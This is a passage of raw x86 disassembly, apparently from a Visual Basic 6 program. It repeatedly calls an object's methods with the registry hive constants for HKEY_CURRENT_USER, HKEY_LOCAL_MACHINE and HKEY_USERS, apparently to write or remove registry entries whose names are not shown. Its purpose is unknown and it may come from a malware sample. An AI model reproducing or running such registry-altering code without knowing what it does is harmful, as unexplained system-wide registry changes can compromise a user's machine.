call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x13c], 0x575db0
jmp 0x5557f5
mov dword [ebp - 0x13c], 0x575db0
mov ecx, dword [ebp - 0x13c]
mov edx, dword [ecx]
mov dword [ebp - 0xb8], edx
mov edx, 0x41c13c
lea ecx, [ebp - 0x3c]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x41c110
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x41c0ac
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov dword [ebp - 0xb4], 0x80000001
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x38]
push ecx
lea edx, [ebp - 0x34]
push edx
lea eax, [ebp - 0xb4]
push eax
mov ecx, dword [ebp - 0xb8]
mov edx, dword [ecx]
mov eax, dword [ebp - 0xb8]
push eax
call dword [edx + 0x2c]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x555890
push 0x2c
push 0x41bc18
mov ecx, dword [ebp - 0xb8]
push ecx
mov edx, dword [ebp - 0xbc]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x140], eax
jmp 0x55589a
mov dword [ebp - 0x140], 0
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x38]
push ecx
lea edx, [ebp - 0x34]
push edx
push 3
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x10
mov dword [ebp - 4], 0x13
cmp dword [0x575db0], 0
jne 0x5558dd
push 0x575db0
push 0x4063c8
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x144], 0x575db0
jmp 0x5558e7
mov dword [ebp - 0x144], 0x575db0
mov eax, dword [ebp - 0x144]
mov ecx, dword [eax]
mov dword [ebp - 0xb8], ecx
mov edx, 0x41c13c
lea ecx, [ebp - 0x3c]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x41c110
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x41c1a8
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov dword [ebp - 0xb4], 0x80000003
lea edx, [ebp - 0x3c]
push edx
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x34]
push ecx
lea edx, [ebp - 0xb4]
push edx
mov eax, dword [ebp - 0xb8]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xb8]
push edx
call dword [ecx + 0x2c]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x555982
push 0x2c
push 0x41bc18
mov eax, dword [ebp - 0xb8]
push eax
mov ecx, dword [ebp - 0xbc]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x148], eax
jmp 0x55598c
mov dword [ebp - 0x148], 0
lea edx, [ebp - 0x3c]
push edx
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x34]
push ecx
push 3
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x10
mov dword [ebp - 4], 0x14
cmp dword [0x575db0], 0
jne 0x5559cf
push 0x575db0
push 0x4063c8
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x14c], 0x575db0
jmp 0x5559d9
mov dword [ebp - 0x14c], 0x575db0
mov edx, dword [ebp - 0x14c]
mov eax, dword [edx]
mov dword [ebp - 0xb8], eax
mov edx, 0x41c110
lea ecx, [ebp - 0x3c]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x419b38
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x41c268
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov dword [ebp - 0xb4], 0x80000002
lea ecx, [ebp - 0x3c]
push ecx
lea edx, [ebp - 0x38]
push edx
lea eax, [ebp - 0x34]
push eax
lea ecx, [ebp - 0xb4]
push ecx
mov edx, dword [ebp - 0xb8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xb8]
push ecx
call dword [eax + 0x2c]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x555a74
push 0x2c
push 0x41bc18
mov edx, dword [ebp - 0xb8]
push edx
mov eax, dword [ebp - 0xbc]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x150], eax
jmp 0x555a7e
mov dword [ebp - 0x150], 0
lea ecx, [ebp - 0x3c]
push ecx
lea edx, [ebp - 0x38]
push edx
lea eax, [ebp - 0x34]
push eax
push 3
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x10
mov dword [ebp - 4], 0x15
cmp dword [0x575db0], 0
jne 0x555ac1
push 0x575db0
push 0x4063c8
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x154], 0x575db0
jmp 0x555acb
mov dword [ebp - 0x154], 0x575db0
mov ecx, dword [ebp - 0x154]
mov edx, dword [ecx]
mov dword [ebp - 0xb8], edx
mov edx, 0x41c428
lea ecx, [ebp - 0x3c]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x41c414
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x41c37c
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov dword [ebp - 0xb4], 0x80000002
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x38]
push ecx
lea edx, [ebp - 0x34]
push edx
lea eax, [ebp - 0xb4]
push eax
mov ecx, dword [ebp - 0xb8]
mov edx, dword [ecx]
mov eax, dword [ebp - 0xb8]
push eax
call dword [edx + 0x2c]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x555b66
push 0x2c
push 0x41bc18
mov ecx, dword [ebp - 0xb8]
push ecx
mov edx, dword [ebp - 0xbc]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x158], eax
jmp 0x555b70
mov dword [ebp - 0x158], 0
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x38]
push ecx
lea edx, [ebp - 0x34]
push edx
push 3
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x10
mov dword [ebp - 4], 0x16
cmp dword [0x575db0], 0
jne 0x555bb3
push 0x575db0
push 0x4063c8
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x15c], 0x575db0
jmp 0x555bbd
mov dword [ebp - 0x15c], 0x575db0
mov eax, dword [ebp - 0x15c]
mov ecx, dword [eax]
mov dword [ebp - 0xb8], ecx
mov edx, 0x41c51c
lea ecx, [ebp - 0x3c]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x419b38
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x41c474
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov dword [ebp - 0xb4], 0x80000002
lea edx, [ebp - 0x3c]
push edx
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x34]
push ecx
lea edx, [ebp - 0xb4]
push edx
mov eax, dword [ebp - 0xb8]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xb8]
push edx
call dword [ecx + 0x2c]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x555c58
push 0x2c
push 0x41bc18
mov eax, dword [ebp - 0xb8]
push eax
mov ecx, dword [ebp - 0xbc]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x160], eax
jmp 0x555c62
mov dword [ebp - 0x160], 0
lea edx, [ebp - 0x3c]
push edx
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x34]
push ecx
push 3
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x10
mov dword [ebp - 4], 0x17
cmp dword [0x575db0], 0
jne 0x555ca5
push 0x575db0
push 0x4063c8
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x164], 0x575db0
jmp 0x555caf
mov dword [ebp - 0x164], 0x575db0
mov edx, dword [ebp - 0x164]
mov eax, dword [edx]
mov dword [ebp - 0xb8], eax
mov edx, 0x41c30c
lea ecx, [ebp - 0x3c]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x41c548
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x41c474
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov dword [ebp - 0xb4], 0x80000002
lea ecx, [ebp - 0x3c]
push ecx
lea edx, [ebp - 0x38]
push edx
lea eax, [ebp - 0x34]
push eax
lea ecx, [ebp - 0xb4]
push ecx
mov edx, dword [ebp - 0xb8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xb8]
push ecx
call dword [eax + 0x2c]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x555d4a
push 0x2c
push 0x41bc18
mov edx, dword [ebp - 0xb8]
push edx
mov eax, dword [ebp - 0xbc]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x168], eax
jmp 0x555d54
mov dword [ebp - 0x168], 0
lea ecx, [ebp - 0x3c]
push ecx
lea edx, [ebp - 0x38]
push edx
lea eax, [ebp - 0x34]
push eax
push 3
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x10
mov dword [ebp - 4], 0x18
cmp dword [0x575db0], 0
jne 0x555d97
push 0x575db0
push 0x4063c8
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x16c], 0x575db0
jmp 0x555da1
mov dword [ebp - 0x16c], 0x575db0
mov ecx, dword [ebp - 0x16c]
mov edx, dword [ecx]
mov dword [ebp - 0xb8], edx
mov edx, 0x41c558
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x41c31c
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov dword [ebp - 0xb4], 0x80000002
push 0x575548
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x34]
push ecx
lea edx, [ebp - 0xb4]
push edx
mov eax, dword [ebp - 0xb8]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xb8]
push edx
call dword [ecx + 0x2c]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x555e2f
push 0x2c
push 0x41bc18
mov eax, dword [ebp - 0xb8]
push eax
mov ecx, dword [ebp - 0xbc]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x170], eax
jmp 0x555e39
mov dword [ebp - 0x170], 0
lea edx, [ebp - 0x38]
push edx
lea eax, [ebp - 0x34]
push eax
push 2
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0xc
mov dword [ebp - 4], 0x19
cmp dword [0x575db0], 0
jne 0x555e78
push 0x575db0
push 0x4063c8
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x174], 0x575db0
jmp 0x555e82
mov dword [ebp - 0x174], 0x575db0
mov ecx, dword [ebp - 0x174]
mov edx, dword [ecx]
mov dword [ebp - 0xb8], edx
mov edx, 0x41c57c
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x41c31c
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov dword [ebp - 0xb4], 0x80000002
push 0x575550
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x34]
push ecx
lea edx, [ebp - 0xb4]
push edx
mov eax, dword [ebp - 0xb8]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xb8]
push edx
call dword [ecx + 0x2c]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x555f10
push 0x2c
push 0x41bc18
mov eax, dword [ebp - 0xb8]
push eax
mov ecx, dword [ebp - 0xbc]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x178], eax
jmp 0x555f1a
mov dword [ebp - 0x178], 0
lea edx, [ebp - 0x38]
push edx
lea eax, [ebp - 0x34]
push eax
push 2
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0xc
mov dword [ebp - 4], 0x1a
cmp dword [0x575db0], 0
jne 0x555f59
push 0x575db0
push 0x4063c8
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x17c], 0x575db0
jmp 0x555f63
mov dword [ebp - 0x17c], 0x575db0
mov ecx, dword [ebp - 0x17c]
mov edx, dword [ecx]
mov dword [ebp - 0xb8], edx
mov edx, 0x41c5b0
lea ecx, [ebp - 0x3c]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x41c548
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x41c268
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov dword [ebp - 0xb4], 0x80000002
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x38]
push ecx
lea edx, [ebp - 0x34]
push edx
lea eax, [ebp - 0xb4]
push eax
mov ecx, dword [ebp - 0xb8]
mov edx, dword [ecx]
mov eax, dword [ebp - 0xb8]
push eax
call dword [edx + 0x2c]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x555ffe
push 0x2c
push 0x41bc18
mov ecx, dword [ebp - 0xb8]
push ecx
mov edx, dword [ebp - 0xbc]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x180], eax
jmp 0x556008
mov dword [ebp - 0x180], 0
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x38]
push ecx
lea edx, [ebp - 0x34]
push edx
push 3
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x10
mov dword [ebp - 4], 0x1b
cmp dword [0x575db0], 0
jne 0x55604b
push 0x575db0
push 0x4063c8
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x184], 0x575db0
jmp 0x556055
mov dword [ebp - 0x184], 0x575db0
mov eax, dword [ebp - 0x184]
mov ecx, dword [eax]
mov dword [ebp - 0xb8], ecx
mov edx, 0x41c5c8
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov dword [ebp - 0xb4], 0x80000002
lea edx, [ebp - 0x34]
push edx
lea eax, [ebp - 0xb4]
push eax
mov ecx, dword [ebp - 0xb8]
mov edx, dword [ecx]
mov eax, dword [ebp - 0xb8]
push eax
call dword [edx + 0x1c]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x5560cc
push 0x1c
push 0x41bc18
mov ecx, dword [ebp - 0xb8]
push ecx
mov edx, dword [ebp - 0xbc]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x188], eax
jmp 0x5560d6
mov dword [ebp - 0x188], 0
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStr]
mov dword [ebp - 4], 0x1c
cmp dword [0x575db0], 0
jne 0x55610b
push 0x575db0
push 0x4063c8
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x18c], 0x575db0
jmp 0x556115
mov dword [ebp - 0x18c], 0x575db0
mov eax, dword [ebp - 0x18c]
mov ecx, dword [eax]
mov dword [ebp - 0xb8], ecx
push 0x41c690
push 0x41c628
push 0x80000002
mov edx, dword [ebp - 0xb8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xb8]
push ecx
call dword [eax + 0x24]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x556178
push 0x24
push 0x41bc18
mov edx, dword [ebp - 0xb8]
push edx
mov eax, dword [ebp - 0xbc]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x190], eax
jmp 0x556182
mov dword [ebp - 0x190], 0
mov dword [ebp - 4], 0x1d
cmp dword [0x575db0], 0
jne 0x5561ae
push 0x575db0
push 0x4063c8
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x194], 0x575db0
jmp 0x5561b8
mov dword [ebp - 0x194], 0x575db0
mov ecx, dword [ebp - 0x194]
mov edx, dword [ecx]
mov dword [ebp - 0xb8], edx
mov edx, 0x41c810
lea ecx, [ebp - 0x3c]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x41c7fc
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x41c728
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov dword [ebp - 0xb4], 0x80000003
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x38]
push ecx
lea edx, [ebp - 0x34]
push edx
lea eax, [ebp - 0xb4]
push eax
mov ecx, dword [ebp - 0xb8]
mov edx, dword [ecx]
mov eax, dword [ebp - 0xb8]
push eax
call dword [edx + 0x2c]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x556253
push 0x2c
push 0x41bc18
mov ecx, dword [ebp - 0xb8]
push ecx
mov edx, dword [ebp - 0xbc]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x198], eax
jmp 0x55625d
mov dword [ebp - 0x198], 0
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x38]
push ecx
lea edx, [ebp - 0x34]
push edx
push 3
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x10
mov dword [ebp - 4], 0x1e
cmp dword [0x575db0], 0
jne 0x5562a0
push 0x575db0
push 0x4063c8
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x19c], 0x575db0
jmp 0x5562aa
mov dword [ebp - 0x19c], 0x575db0
mov eax, dword [ebp - 0x19c]
mov ecx, dword [eax]
mov dword [ebp - 0xb8], ecx
push 0x41c9c8
push 0x41c908
push 0x80000003
mov edx, dword [ebp - 0xb8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xb8]
push ecx
call dword [eax + 0x24]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x55630d
push 0x24
push 0x41bc18
mov edx, dword [ebp - 0xb8]
push edx
mov eax, dword [ebp - 0xbc]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x1a0], eax
jmp 0x556317
mov dword [ebp - 0x1a0], 0
mov dword [ebp - 4], 0x1f
cmp dword [0x575db0], 0
jne 0x556343
push 0x575db0
push 0x4063c8
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x1a4], 0x575db0
jmp 0x55634d
mov dword [ebp - 0x1a4], 0x575db0
mov ecx, dword [ebp - 0x1a4]
mov edx, dword [ecx]
mov dword [ebp - 0xb8], edx
push 0x41ca6c
push 0x41ca0c
push 0x80000001
mov eax, dword [ebp - 0xb8]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xb8]
push edx
call dword [ecx + 0x24]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x5563b0
push 0x24
push 0x41bc18
mov eax, dword [ebp - 0xb8]
push eax
mov ecx, dword [ebp - 0xbc]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x1a8], eax
jmp 0x5563ba
mov dword [ebp - 0x1a8], 0
mov dword [ebp - 4], 0x20
cmp dword [0x575db0], 0
jne 0x5563e6
push 0x575db0
push 0x4063c8
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x1ac], 0x575db0
jmp 0x5563f0
mov dword [ebp - 0x1ac], 0x575db0
mov edx, dword [ebp - 0x1ac]
mov eax, dword [edx]
mov dword [ebp - 0xb8], eax
push 0x415c40
push 0x80000001
mov ecx, dword [ebp - 0xb8]
mov edx, dword [ecx]
mov eax, dword [ebp - 0xb8]
push eax
call dword [edx + 0x20]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x55644e
push 0x20
push 0x41bc18
mov ecx, dword [ebp - 0xb8]
push ecx
mov edx, dword [ebp - 0xbc]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x1b0], eax
jmp 0x556458
mov dword [ebp - 0x1b0], 0
mov dword [ebp - 4], 0x21
cmp dword [0x575db0], 0
jne 0x556484
push 0x575db0
push 0x4063c8
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x1b4], 0x575db0
jmp 0x55648e
mov dword [ebp - 0x1b4], 0x575db0
mov eax, dword [ebp - 0x1b4]
mov ecx, dword [eax]
mov dword [ebp - 0xb8], ecx
push 0x41cae8
push 0x80000003
mov edx, dword [ebp - 0xb8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xb8]
push ecx
call dword [eax + 0x20]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x5564ec
push 0x20
push 0x41bc18
mov edx, dword [ebp - 0xb8]
push edx
mov eax, dword [ebp - 0xbc]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x1b8], eax
jmp 0x5564f6
mov dword [ebp - 0x1b8], 0
mov dword [ebp - 4], 0x22
cmp dword [0x575db0], 0
jne 0x556522
push 0x575db0
push 0x4063c8
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x1bc], 0x575db0
jmp 0x55652c
mov dword [ebp - 0x1bc], 0x575db0
mov ecx, dword [ebp - 0x1bc]
mov edx, dword [ecx]
mov dword [ebp - 0xb8], edx
push 0x41cc0c
push 0x41cb9c
push 0x80000002
mov eax, dword [ebp - 0xb8]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xb8]
push edx
call dword [ecx + 0x24]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x55658f
push 0x24
push 0x41bc18
mov eax, dword [ebp - 0xb8]
push eax
mov ecx, dword [ebp - 0xbc]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x1c0], eax
jmp 0x556599
mov dword [ebp - 0x1c0], 0
mov dword [ebp - 4], 0x23
cmp dword [0x575db0], 0
jne 0x5565c5
push 0x575db0
push 0x4063c8
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x1c4], 0x575db0
jmp 0x5565cf
mov dword [ebp - 0x1c4], 0x575db0
mov edx, dword [ebp - 0x1c4]
mov eax, dword [edx]
mov dword [ebp - 0xb8], eax
push 0
push 0x41cc2c
push 0x41cb9c
push 0x80000002
mov ecx, dword [ebp - 0xb8]
mov edx, dword [ecx]
mov eax, dword [ebp - 0xb8]
push eax
call dword [edx + 0x34]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x556634
push 0x34
push 0x41bc18
mov ecx, dword [ebp - 0xb8]
push ecx
mov edx, dword [ebp - 0xbc]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x1c8], eax
jmp 0x55663e
mov dword [ebp - 0x1c8], 0
mov dword [ebp - 4], 0x24
cmp dword [0x575db0], 0
jne 0x55666a
push 0x575db0
push 0x4063c8
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x1cc], 0x575db0
jmp 0x556674
mov dword [ebp - 0x1cc], 0x575db0
mov eax, dword [ebp - 0x1cc]
mov ecx, dword [eax]
mov dword [ebp - 0xb8], ecx
push 0x41ca88
push 0x41cc44
push 0x80000002
mov edx, dword [ebp - 0xb8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xb8]
push ecx
call dword [eax + 0x24]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x5566d7
push 0x24
push 0x41bc18
mov edx, dword [ebp - 0xb8]
push edx
mov eax, dword [ebp - 0xbc]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x1d0], eax
jmp 0x5566e1
mov dword [ebp - 0x1d0], 0
mov dword [ebp - 4], 0x25
cmp dword [0x575db0], 0
jne 0x55670d
push 0x575db0
push 0x4063c8
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x1d4], 0x575db0
jmp 0x556717
mov dword [ebp - 0x1d4], 0x575db0
mov ecx, dword [ebp - 0x1d4]
mov edx, dword [ecx]
mov dword [ebp - 0xb8], edx
push 0x41cacc
push 0x41cc44
push 0x80000002
mov eax, dword [ebp - 0xb8]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xb8]
push edx
call dword [ecx + 0x24]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x55677a
push 0x24
push 0x41bc18
mov eax, dword [ebp - 0xb8]
push eax
mov ecx, dword [ebp - 0xbc]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x1d8], eax
jmp 0x556784
mov dword [ebp - 0x1d8], 0
mov dword [ebp - 4], 0x26
cmp dword [0x575db0], 0
jne 0x5567b0
push 0x575db0
push 0x4063c8
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x1dc], 0x575db0
jmp 0x5567ba
mov dword [ebp - 0x1dc], 0x575db0
mov edx, dword [ebp - 0x1dc]
mov eax, dword [edx]
mov dword [ebp - 0xb8], eax
mov edx, 0x41806c
lea ecx, [ebp - 0x3c]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x41cca4
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x41c6cc
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov dword [ebp - 0xb4], 0x80000002
lea ecx, [ebp - 0x3c]
push ecx
lea edx, [ebp - 0x38]
push edx
lea eax, [ebp - 0x34]
push eax
lea ecx, [ebp - 0xb4]
push ecx
mov edx, dword [ebp - 0xb8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xb8]
push ecx
call dword [eax + 0x2c]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x556855
push 0x2c
push 0x41bc18
mov edx, dword [ebp - 0xb8]
push edx
mov eax, dword [ebp - 0xbc]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x1e0], eax
jmp 0x55685f
mov dword [ebp - 0x1e0], 0
lea ecx, [ebp - 0x3c]
push ecx
lea edx, [ebp - 0x38]
push edx
lea eax, [ebp - 0x34]
push eax
push 3
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x10
mov dword [ebp - 4], 0x27
cmp dword [0x575db0], 0
jne 0x5568a2
push 0x575db0
push 0x4063c8
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x1e4], 0x575db0
jmp 0x5568ac
mov dword [ebp - 0x1e4], 0x575db0
mov ecx, dword [ebp - 0x1e4]
mov edx, dword [ecx]
mov dword [ebp - 0xb8], edx
mov edx, 0x41cd1c
lea ecx, [ebp - 0x3c]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x41ccfc
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x41ccc8
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov dword [ebp - 0xb4], 0x80000001
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x38]
push ecx
lea edx, [ebp - 0x34]
push edx
lea eax, [ebp - 0xb4]
push eax
mov ecx, dword [ebp - 0xb8]
mov edx, dword [ecx]
mov eax, dword [ebp - 0xb8]
push eax
call dword [edx + 0x2c]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x556947
push 0x2c
push 0x41bc18
mov ecx, dword [ebp - 0xb8]
push ecx
mov edx, dword [ebp - 0xbc]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x1e8], eax
jmp 0x556951
mov dword [ebp - 0x1e8], 0
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x38]
push ecx
lea edx, [ebp - 0x34]
push edx
push 3
